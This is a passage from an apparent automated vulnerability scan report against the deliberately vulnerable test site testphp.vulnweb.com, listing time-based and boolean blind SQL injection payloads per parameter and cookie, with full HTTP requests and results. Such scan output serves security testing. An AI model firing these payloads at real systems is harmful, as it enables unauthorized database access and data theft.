- (select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+''+(select(0)from(select(sleep(0)))v)+'*/ => **0.063**

Original value: **1**

Request headers

```
POST /search.php?test=
(select(0)from(select(sleep(0)))v)/*'%2b(select(0)from(select(sleep(0)))v)%2b'""%2b(select(0)
from(select(sleep(0)))v)%2b"*/ HTTP/1.1
```

Content-Length: 11
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
searchFor=1

/sendcommand.php

Details

URL encoded POST input **cart_id** was set to **(select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+'*/**

Tests performed:

- (select(0)from(select(sleep(3)))v)/*'+(select(0)from(select(sleep(3)))v)+'"+(select(0)from(select(sleep(3)))v)+'*/ => **3.062**
- (select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+'*/ => **0.063**
- (select(0)from(select(sleep(6)))v)/*'+(select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(6)))v)+'*/ => **6.062**
- (select(0)from(select(sleep(9)))v)/*'+(select(0)from(select(sleep(9)))v)+'"+(select(0)from(select(sleep(9)))v)+'*/ => **9.063**
- (select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+'*/ => **0.062**
- (select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+'*/ => **0.063**
- (select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+'*/ => **0.062**
- (select(0)from(select(sleep(6)))v)/*'+(select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(6)))v)+'*/ => **6.063**
- (select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+'*/ => **0.062**

Original value: **1**

Request headers

POST /sendcommand.php HTTP/1.1
Content-Length: 130
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
cart_id=
(select(0)from(select(sleep(0)))v)/*'%2b(select(0)from(select(sleep(0)))v)%2b'"%2b(select(0)from(select(sleep(0)))v)%2b"*/

/listproducts.php

Details

URL encoded GET input **cat** was set to **1 AND 3*2*1=6 AND 165=165**

Tests performed:

- 1*1*1*1 => **TRUE**
- 1*165*160*0 => **FALSE**
- 11*5*2*999 => **FALSE**
- 1*1*1 => **TRUE**
- 1*1*1*1*1*1 => **TRUE**
- 11*1*1*0*1*1*165 => **FALSE**
- 1 AND 5*4=20 AND 165=165 => **TRUE**
- 1 AND 5*4=21 AND 165=165 => **FALSE**
- 1 AND 5*6<26 AND 165=165 => **FALSE**
- 1 AND 7*7>48 AND 165=165 => **TRUE**
- 1 AND 3*2*0=6 AND 165=165 => **FALSE**

- 1 AND 3*2*1=6 AND 165=165 => **TRUE**

Original value: 1

Request headers

```
GET /listproducts.php?artist=1&cat=1%20AND%203*2*1=6%20AND%20165=165 HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/userinfo.php

Details

URL encoded POST input **pass** was set to -1' OR 3*2*1=6 AND 000754=000754 --

Tests performed:

- -1' OR 2+754-754-1=0+0+0+1 -- => **TRUE**
- -1' OR 3+754-754-1=0+0+0+1 -- => **FALSE**
- -1' OR 3*2<(0+5+754-754) -- => **FALSE**
- -1' OR 3*2>(0+5+754-754) -- => **FALSE**
- -1' OR 2+1-1-1=1 AND 000754=000754 -- => **TRUE**
- -1' OR 000754=000754 AND 3+1-1-1=1 -- => **FALSE**
- -1' OR 3*2=5 AND 000754=000754 -- => **FALSE**
- -1' OR 3*2=6 AND 000754=000754 -- => **TRUE**
- -1' OR 3*2*0=6 AND 000754=000754 -- => **FALSE**
- -1' OR 3*2*1=6 AND 000754=000754 -- => **TRUE**

Original value: g00dPa%24%24w0rD

Request headers

```
POST /userinfo.php HTTP/1.1
Content-Length: 68
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
pass=-1'%20OR%203*2*1=6%20AND%20000754=000754%20--%20&uname=igabyygl
```

/userinfo.php

Details

URL encoded POST input **uname** was set to -1' OR 3*2*1=6 AND 00060=00060 --

Tests performed:

- -1' OR 2+60-60-1=0+0+0+1 -- => **TRUE**
- -1' OR 3+60-60-1=0+0+0+1 -- => **FALSE**
- -1' OR 3*2<(0+5+60-60) -- => **FALSE**
- -1' OR 3*2>(0+5+60-60) -- => **FALSE**
- -1' OR 2+1-1-1=1 AND 00060=00060 -- => **TRUE**
- -1' OR 00060=00060 AND 3+1-1-1=1 -- => **FALSE**
- -1' OR 3*2=5 AND 00060=00060 -- => **FALSE**
- -1' OR 3*2=6 AND 00060=00060 -- => **TRUE**

- -1' OR 3*2*0=6 AND 00060=00060 -- => **FALSE**
- -1' OR 3*2*1=6 AND 00060=00060 -- => **TRUE**

Original value: **igabyygl**

Request headers

```
POST /userinfo.php HTTP/1.1
Content-Length: 74
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
pass=g00dPa%24%24w0rD&uname=-1'%20OR%203*2*1=6%20AND%2000060=00060%20--%20
```

/search.php

Details

URL encoded POST input **searchFor** was set to

if(now())=sysdate(),sleep(0),0)/*'XOR(if(now())=sysdate(),sleep(0),0))OR'''XOR(if(now())=sysdate(),sleep(0),0))OR'''/

Tests performed:

- if(now())=sysdate(),sleep(3),0)/*'XOR(if(now())=sysdate(),sleep(3),0))OR'''XOR(if(now())=sysdate(),sleep(3),0))OR'''/ => **3.062**
- if(now())=sysdate(),sleep(9),0)/*'XOR(if(now())=sysdate(),sleep(9),0))OR'''XOR(if(now())=sysdate(),sleep(9),0))OR'''/ => **9.063**
- if(now())=sysdate(),sleep(0),0)/*'XOR(if(now())=sysdate(),sleep(0),0))OR'''XOR(if(now())=sysdate(),sleep(0),0))OR'''/ => **0.063**
- if(now())=sysdate(),sleep(6),0)/*'XOR(if(now())=sysdate(),sleep(6),0))OR'''XOR(if(now())=sysdate(),sleep(6),0))OR'''/ => **6.062**
- if(now())=sysdate(),sleep(0),0)/*'XOR(if(now())=sysdate(),sleep(0),0))OR'''XOR(if(now())=sysdate(),sleep(0),0))OR'''/ => **0.062**
- if(now())=sysdate(),sleep(0),0)/*'XOR(if(now())=sysdate(),sleep(0),0))OR'''XOR(if(now())=sysdate(),sleep(0),0))OR'''/ => **0.062**
- if(now())=sysdate(),sleep(0),0)/*'XOR(if(now())=sysdate(),sleep(0),0))OR'''XOR(if(now())=sysdate(),sleep(0),0))OR'''/ => **0.063**
- if(now())=sysdate(),sleep(6),0)/*'XOR(if(now())=sysdate(),sleep(6),0))OR'''XOR(if(now())=sysdate(),sleep(6),0))OR'''/ => **6.047**
- if(now())=sysdate(),sleep(0),0)/*'XOR(if(now())=sysdate(),sleep(0),0))OR'''XOR(if(now())=sysdate(),sleep(0),0))OR'''/ => **0.062**

Original value: **1**

Request headers

```
POST /search.php?test=1 HTTP/1.1
Content-Length: 134
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
searchFor=if(now())=sysdate()%2csleep(0)%2c0)/*'XOR(if(now())=sysdate()%2csleep(0)%2c0))OR'''XOR(if(now())=sysdate()%2csleep(0)%2c0))OR'''/
```

/AJAX/infoartist.php

Details

URL encoded GET input **id** was set to **3 AND 3*2*1=6 AND 136=136**

Tests performed:

- $1*1*1*3 \Rightarrow$ **TRUE**
- $3*136*131*0 \Rightarrow$ **FALSE**
- $13*5*2*999 \Rightarrow$ **FALSE**
- $3*1*1 \Rightarrow$ **TRUE**
- $1*1*1*1*1*3 \Rightarrow$ **TRUE**
- $13*1*1*0*1*1*136 \Rightarrow$ **FALSE**
- $3 \text{ AND } 5*4=20 \text{ AND } 136=136 \Rightarrow$ **TRUE**
- $3 \text{ AND } 5*4=21 \text{ AND } 136=136 \Rightarrow$ **FALSE**
- $3 \text{ AND } 5*6<26 \text{ AND } 136=136 \Rightarrow$ **FALSE**
- $3 \text{ AND } 7*7>48 \text{ AND } 136=136 \Rightarrow$ **TRUE**
- $3 \text{ AND } 3*2*0=6 \text{ AND } 136=136 \Rightarrow$ **FALSE**
- $3 \text{ AND } 3*2*1=6 \text{ AND } 136=136 \Rightarrow$ **TRUE**

Original value: **3**

Request headers

GET /AJAX/infoartist.php?id=3%20AND%203*2*1=6%20AND%20136=136 HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*

/artists.php

Details

URL encoded GET input **artist** was set to **3 AND 3*2*1=6 AND 355=355**

Tests performed:

- $1*1*1*3 \Rightarrow$ **TRUE**
- $3*355*350*0 \Rightarrow$ **FALSE**
- $13*5*2*999 \Rightarrow$ **FALSE**
- $3*1*1 \Rightarrow$ **TRUE**
- $1*1*1*1*1*3 \Rightarrow$ **TRUE**
- $13*1*1*0*1*1*355 \Rightarrow$ **FALSE**
- $3 \text{ AND } 5*4=20 \text{ AND } 355=355 \Rightarrow$ **TRUE**
- $3 \text{ AND } 5*4=21 \text{ AND } 355=355 \Rightarrow$ **FALSE**
- $3 \text{ AND } 5*6<26 \text{ AND } 355=355 \Rightarrow$ **FALSE**
- $3 \text{ AND } 7*7>48 \text{ AND } 355=355 \Rightarrow$ **TRUE**
- $3 \text{ AND } 3*2*0=6 \text{ AND } 355=355 \Rightarrow$ **FALSE**
- $3 \text{ AND } 3*2*1=6 \text{ AND } 355=355 \Rightarrow$ **TRUE**

Original value: **3**

Request headers

GET /artists.php?artist=3%20AND%203*2*1=6%20AND%20355=355 HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*

/AJAX/infotitle.php

Details

URL encoded POST input **id** was set to **3 AND 3*2*1=6 AND 12=12**

Tests performed:

- $1*1*1*3 \Rightarrow$ **TRUE**
- $3*12*7*0 \Rightarrow$ **FALSE**
- $13*5*2*999 \Rightarrow$ **FALSE**
- $3*1*1 \Rightarrow$ **TRUE**
- $1*1*1*1*1*3 \Rightarrow$ **TRUE**
- $13*1*1*0*1*1*12 \Rightarrow$ **FALSE**
- $3 \text{ AND } 5*4=20 \text{ AND } 12=12 \Rightarrow$ **TRUE**
- $3 \text{ AND } 5*4=21 \text{ AND } 12=12 \Rightarrow$ **FALSE**
- $3 \text{ AND } 5*6<26 \text{ AND } 12=12 \Rightarrow$ **FALSE**
- $3 \text{ AND } 7*7>48 \text{ AND } 12=12 \Rightarrow$ **TRUE**
- $3 \text{ AND } 3*2*0=6 \text{ AND } 12=12 \Rightarrow$ **FALSE**
- $3 \text{ AND } 3*2*1=6 \text{ AND } 12=12 \Rightarrow$ **TRUE**

Original value: **3**

Request headers

```
POST /AJAX/infotitle.php HTTP/1.1
Content-Length: 34
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
id=3%20AND%203*2*1=6%20AND%2012=12
```

/product.php

Details

URL encoded GET input **pic** was set to **4 AND 3*2*1=6 AND 402=402**

Tests performed:

- $1*1*1*4 \Rightarrow$ **TRUE**
- $4*402*397*0 \Rightarrow$ **FALSE**
- $14*5*2*999 \Rightarrow$ **FALSE**
- $4*1*1 \Rightarrow$ **TRUE**
- $1*1*1*1*1*4 \Rightarrow$ **TRUE**
- $14*1*1*0*1*1*402 \Rightarrow$ **FALSE**
- $4 \text{ AND } 5*4=20 \text{ AND } 402=402 \Rightarrow$ **TRUE**
- $4 \text{ AND } 5*4=21 \text{ AND } 402=402 \Rightarrow$ **FALSE**
- $4 \text{ AND } 5*6<26 \text{ AND } 402=402 \Rightarrow$ **FALSE**
- $4 \text{ AND } 7*7>48 \text{ AND } 402=402 \Rightarrow$ **TRUE**
- $4 \text{ AND } 3*2*0=6 \text{ AND } 402=402 \Rightarrow$ **FALSE**
- $4 \text{ AND } 3*2*1=6 \text{ AND } 402=402 \Rightarrow$ **TRUE**

Original value: **4**

Request headers

```
GET /product.php?pic=4%20AND%203*2*1=6%20AND%20402=402 HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
```

Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

/secured/newuser.php

Details

URL encoded POST input **uname** was set to **-1' OR 3*2*1=6 AND 000328=000328 --**

Tests performed:

- -1' OR 2+328-328-1=0+0+0+1 -- => **TRUE**
- -1' OR 3+328-328-1=0+0+0+1 -- => **FALSE**
- -1' OR 3*2<(0+5+328-328) -- => **FALSE**
- -1' OR 3*2>(0+5+328-328) -- => **FALSE**
- -1' OR 2+1-1-1=1 AND 000328=000328 -- => **TRUE**
- -1' OR 000328=000328 AND 3+1-1-1=1 -- => **FALSE**
- -1' OR 3*2=5 AND 000328=000328 -- => **FALSE**
- -1' OR 3*2=6 AND 000328=000328 -- => **TRUE**
- -1' OR 3*2*0=6 AND 000328=000328 -- => **FALSE**
- -1' OR 3*2*1=6 AND 000328=000328 -- => **TRUE**

Original value: **eauwexay**

Request headers

POST /secured/newuser.php HTTP/1.1
Content-Length: 231
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
signup=signup&uaddress=3137%20Laguna%20Street&ucc=4111111111111111&uemail=sample%40email.tst
&upass=g00dPa%24%24w0rD&upass2=g00dPa%24%24w0rD&uphone=555-666-
0606&urname=eauwexay&uname=-1'%20OR%203*2*1=6%20AND%20000328=000328%20--%20

/AJAX/infocateg.php

Details

URL encoded GET input **id** was set to **3 AND 3*2*1=6 AND 264=264**

Tests performed:

- 1*1*1*3 => **TRUE**
- 3*264*259*0 => **FALSE**
- 13*5*2*999 => **FALSE**
- 3*1*1 => **TRUE**
- 1*1*1*1*1*3 => **TRUE**
- 13*1*1*0*1*1*264 => **FALSE**
- 3 AND 5*4=20 AND 264=264 => **TRUE**
- 3 AND 5*4=21 AND 264=264 => **FALSE**
- 3 AND 5*6<26 AND 264=264 => **FALSE**
- 3 AND 7*7>48 AND 264=264 => **TRUE**
- 3 AND 3*2*0=6 AND 264=264 => **FALSE**
- 3 AND 3*2*1=6 AND 264=264 => **TRUE**

Original value: **3**

Request headers

GET /AJAX/infocateg.php?id=3%20AND%203*2*1=6%20AND%20264=264 HTTP/1.1

X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

/listproducts.php

Details

URL encoded GET input **artist** was set to **-1 OR 3*2*1=6 AND 000119=000119 --**

Tests performed:

- -1 OR 2+119-119-1=0+0+0+1 -- => **TRUE**
- -1 OR 3+119-119-1=0+0+0+1 -- => **FALSE**
- -1 OR 3*2<(0+5+119-119) -- => **FALSE**
- -1 OR 3*2>(0+5+119-119) -- => **FALSE**
- -1 OR 2+1-1-1=1 AND 000119=000119 -- => **TRUE**
- -1 OR 000119=000119 AND 3+1-1-1=1 -- => **FALSE**
- -1 OR 3*2=5 AND 000119=000119 -- => **FALSE**
- -1 OR 3*2=6 AND 000119=000119 -- => **TRUE**
- -1 OR 3*2*0=6 AND 000119=000119 -- => **FALSE**
- -1 OR 3*2*1=6 AND 000119=000119 -- => **TRUE**

Original value: **3**

Request headers

GET /listproducts.php?artist=-1%20OR%203*2*1=6%20AND%20000119=000119%20--%20 HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

/Mod_Rewrite_Shop/buy.php

Details

URL encoded GET input **id** was set to **1 AND 3*2*1=6 AND 129=129**

Tests performed:

- 1*1*1*1 => **TRUE**
- 1*129*124*0 => **FALSE**
- 11*5*2*999 => **FALSE**
- 1*1*1 => **TRUE**
- 1*1*1*1*1*1 => **TRUE**
- 11*1*1*0*1*1*129 => **FALSE**
- 1 AND 5*4=20 AND 129=129 => **TRUE**
- 1 AND 5*4=21 AND 129=129 => **FALSE**
- 1 AND 5*6<26 AND 129=129 => **FALSE**
- 1 AND 7*7>48 AND 129=129 => **TRUE**
- 1 AND 3*2*0=6 AND 129=129 => **FALSE**
- 1 AND 3*2*1=6 AND 129=129 => **TRUE**

Original value: **1**

Request headers

GET /Mod_Rewrite_Shop/buy.php?id=1%20AND%203*2*1=6%20AND%20129=129 HTTP/1.1

X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

/Mod_Rewrite_Shop/details.php

Details

URL encoded GET input id was set to **1 AND 3*2*1=6 AND 680=680**

Tests performed:

- $1*1*1*1 \Rightarrow$ **TRUE**
- $1*680*675*0 \Rightarrow$ **FALSE**
- $11*5*2*999 \Rightarrow$ **FALSE**
- $1*1*1 \Rightarrow$ **TRUE**
- $1*1*1*1*1*1 \Rightarrow$ **TRUE**
- $11*1*1*0*1*1*680 \Rightarrow$ **FALSE**
- $1 \text{ AND } 5*4=20 \text{ AND } 680=680 \Rightarrow$ **TRUE**
- $1 \text{ AND } 5*4=21 \text{ AND } 680=680 \Rightarrow$ **FALSE**
- $1 \text{ AND } 5*6<26 \text{ AND } 680=680 \Rightarrow$ **FALSE**
- $1 \text{ AND } 7*7>48 \text{ AND } 680=680 \Rightarrow$ **TRUE**
- $1 \text{ AND } 3*2*0=6 \text{ AND } 680=680 \Rightarrow$ **FALSE**
- $1 \text{ AND } 3*2*1=6 \text{ AND } 680=680 \Rightarrow$ **TRUE**

Original value: **1**

Request headers

GET /Mod_Rewrite_Shop/details.php?id=1%20AND%203*2*1=6%20AND%20680=680 HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

/Mod_Rewrite_Shop/rate.php

Details

URL encoded GET input id was set to **1 AND 3*2*1=6 AND 970=970**

Tests performed:

- $1*1*1*1 \Rightarrow$ **TRUE**
- $1*970*965*0 \Rightarrow$ **FALSE**
- $11*5*2*999 \Rightarrow$ **FALSE**
- $1*1*1 \Rightarrow$ **TRUE**
- $1*1*1*1*1*1 \Rightarrow$ **TRUE**
- $11*1*1*0*1*1*970 \Rightarrow$ **FALSE**
- $1 \text{ AND } 5*4=20 \text{ AND } 970=970 \Rightarrow$ **TRUE**
- $1 \text{ AND } 5*4=21 \text{ AND } 970=970 \Rightarrow$ **FALSE**
- $1 \text{ AND } 5*6<26 \text{ AND } 970=970 \Rightarrow$ **FALSE**
- $1 \text{ AND } 7*7>48 \text{ AND } 970=970 \Rightarrow$ **TRUE**
- $1 \text{ AND } 3*2*0=6 \text{ AND } 970=970 \Rightarrow$ **FALSE**
- $1 \text{ AND } 3*2*1=6 \text{ AND } 970=970 \Rightarrow$ **TRUE**

Original value: **1**

Request headers

GET /Mod_Rewrite_Shop/rate.php?id=1%20AND%203*2*1=6%20AND%20970=970 HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

Web Server

Details

Cookie input login was set to -1' OR 3*2*1=6 AND 000699=000699 --

Tests performed:

- -1' OR 2+699-699-1=0+0+0+1 -- => TRUE
- -1' OR 3+699-699-1=0+0+0+1 -- => FALSE
- -1' OR 3*2<(0+5+699-699) -- => FALSE
- -1' OR 3*2>(0+5+699-699) -- => FALSE
- -1' OR 2+1-1-1=1 AND 000699=000699 -- => TRUE
- -1' OR 000699=000699 AND 3+1-1-1=1 -- => FALSE
- -1' OR 3*2=5 AND 000699=000699 -- => FALSE
- -1' OR 3*2=6 AND 000699=000699 -- => TRUE
- -1' OR 3*2*0=6 AND 000699=000699 -- => FALSE
- -1' OR 3*2*1=6 AND 000699=000699 -- => TRUE

Original value: 1

Request headers

GET / HTTP/1.1
Cookie: login=-1'%20OR%203*2*1=6%20AND%20000699=000699%20--%20; mycookie=3
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

/search.php

Details

Cookie input login was set to -1' OR 3*2*1=6 AND 000993=000993 --

Tests performed:

- -1' OR 2+993-993-1=0+0+0+1 -- => TRUE
- -1' OR 3+993-993-1=0+0+0+1 -- => FALSE
- -1' OR 3*2<(0+5+993-993) -- => FALSE
- -1' OR 3*2>(0+5+993-993) -- => FALSE
- -1' OR 2+1-1-1=1 AND 000993=000993 -- => TRUE
- -1' OR 000993=000993 AND 3+1-1-1=1 -- => FALSE
- -1' OR 3*2=5 AND 000993=000993 -- => FALSE
- -1' OR 3*2=6 AND 000993=000993 -- => TRUE
- -1' OR 3*2*0=6 AND 000993=000993 -- => FALSE
- -1' OR 3*2*1=6 AND 000993=000993 -- => TRUE

Original value: 1

Request headers

GET /search.php HTTP/1.1
Cookie: login=-1'%20OR%203*2*1=6%20AND%20000993=000993%20--%20; mycookie=3

X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

/cart.php

Details

Cookie input **login** was set to **-1' OR 3*2*1=6 AND 000117=000117 --**

Tests performed:

- -1' OR 2+117-117-1=0+0+0+1 -- => **TRUE**
- -1' OR 3+117-117-1=0+0+0+1 -- => **FALSE**
- -1' OR 3*2<(0+5+117-117) -- => **FALSE**
- -1' OR 3*2>(0+5+117-117) -- => **FALSE**
- -1' OR 2+1-1-1=1 AND 000117=000117 -- => **TRUE**
- -1' OR 000117=000117 AND 3+1-1-1=1 -- => **FALSE**
- -1' OR 3*2=5 AND 000117=000117 -- => **FALSE**
- -1' OR 3*2=6 AND 000117=000117 -- => **TRUE**
- -1' OR 3*2*0=6 AND 000117=000117 -- => **FALSE**
- -1' OR 3*2*1=6 AND 000117=000117 -- => **TRUE**

Original value: **1**

Request headers

GET /cart.php HTTP/1.1
Cookie: login=-1'%20OR%203*2*1=6%20AND%20000117=000117%20--%20; mycookie=3
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

/artists.php

Details

Cookie input **login** was set to **-1' OR 3*2*1=6 AND 000300=000300 --**

Tests performed:

- -1' OR 2+300-300-1=0+0+0+1 -- => **TRUE**
- -1' OR 3+300-300-1=0+0+0+1 -- => **FALSE**
- -1' OR 3*2<(0+5+300-300) -- => **FALSE**
- -1' OR 3*2>(0+5+300-300) -- => **FALSE**
- -1' OR 2+1-1-1=1 AND 000300=000300 -- => **TRUE**
- -1' OR 000300=000300 AND 3+1-1-1=1 -- => **FALSE**
- -1' OR 3*2=5 AND 000300=000300 -- => **FALSE**
- -1' OR 3*2=6 AND 000300=000300 -- => **TRUE**
- -1' OR 3*2*0=6 AND 000300=000300 -- => **FALSE**
- -1' OR 3*2*1=6 AND 000300=000300 -- => **TRUE**

Original value: **1**

Request headers

GET /artists.php HTTP/1.1
Cookie: login=-1'%20OR%203*2*1=6%20AND%20000300=000300%20--%20; mycookie=3
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com

Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

/userinfo.php

Details

Cookie input login was set to -1' OR 3*2*1=6 AND 000413=000413 --

Tests performed:

- -1' OR 2+413-413-1=0+0+0+1 -- => **TRUE**
- -1' OR 3+413-413-1=0+0+0+1 -- => **FALSE**
- -1' OR 3*2<(0+5+413-413) -- => **FALSE**
- -1' OR 3*2>(0+5+413-413) -- => **FALSE**
- -1' OR 2+1-1-1=1 AND 000413=000413 -- => **TRUE**
- -1' OR 000413=000413 AND 3+1-1-1=1 -- => **FALSE**
- -1' OR 3*2=5 AND 000413=000413 -- => **FALSE**
- -1' OR 3*2=6 AND 000413=000413 -- => **TRUE**
- -1' OR 3*2*0=6 AND 000413=000413 -- => **FALSE**
- -1' OR 3*2*1=6 AND 000413=000413 -- => **TRUE**

Original value: 1

Request headers

GET /userinfo.php HTTP/1.1
Cookie: login=-1'%20OR%203*2*1=6%20AND%20000413=000413%20--%20; mycookie=3
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

/guestbook.php

Details

Cookie input login was set to -1' OR 3*2*1=6 AND 000365=000365 --

Tests performed:

- -1' OR 2+365-365-1=0+0+0+1 -- => **TRUE**
- -1' OR 3+365-365-1=0+0+0+1 -- => **FALSE**
- -1' OR 3*2<(0+5+365-365) -- => **FALSE**
- -1' OR 3*2>(0+5+365-365) -- => **FALSE**
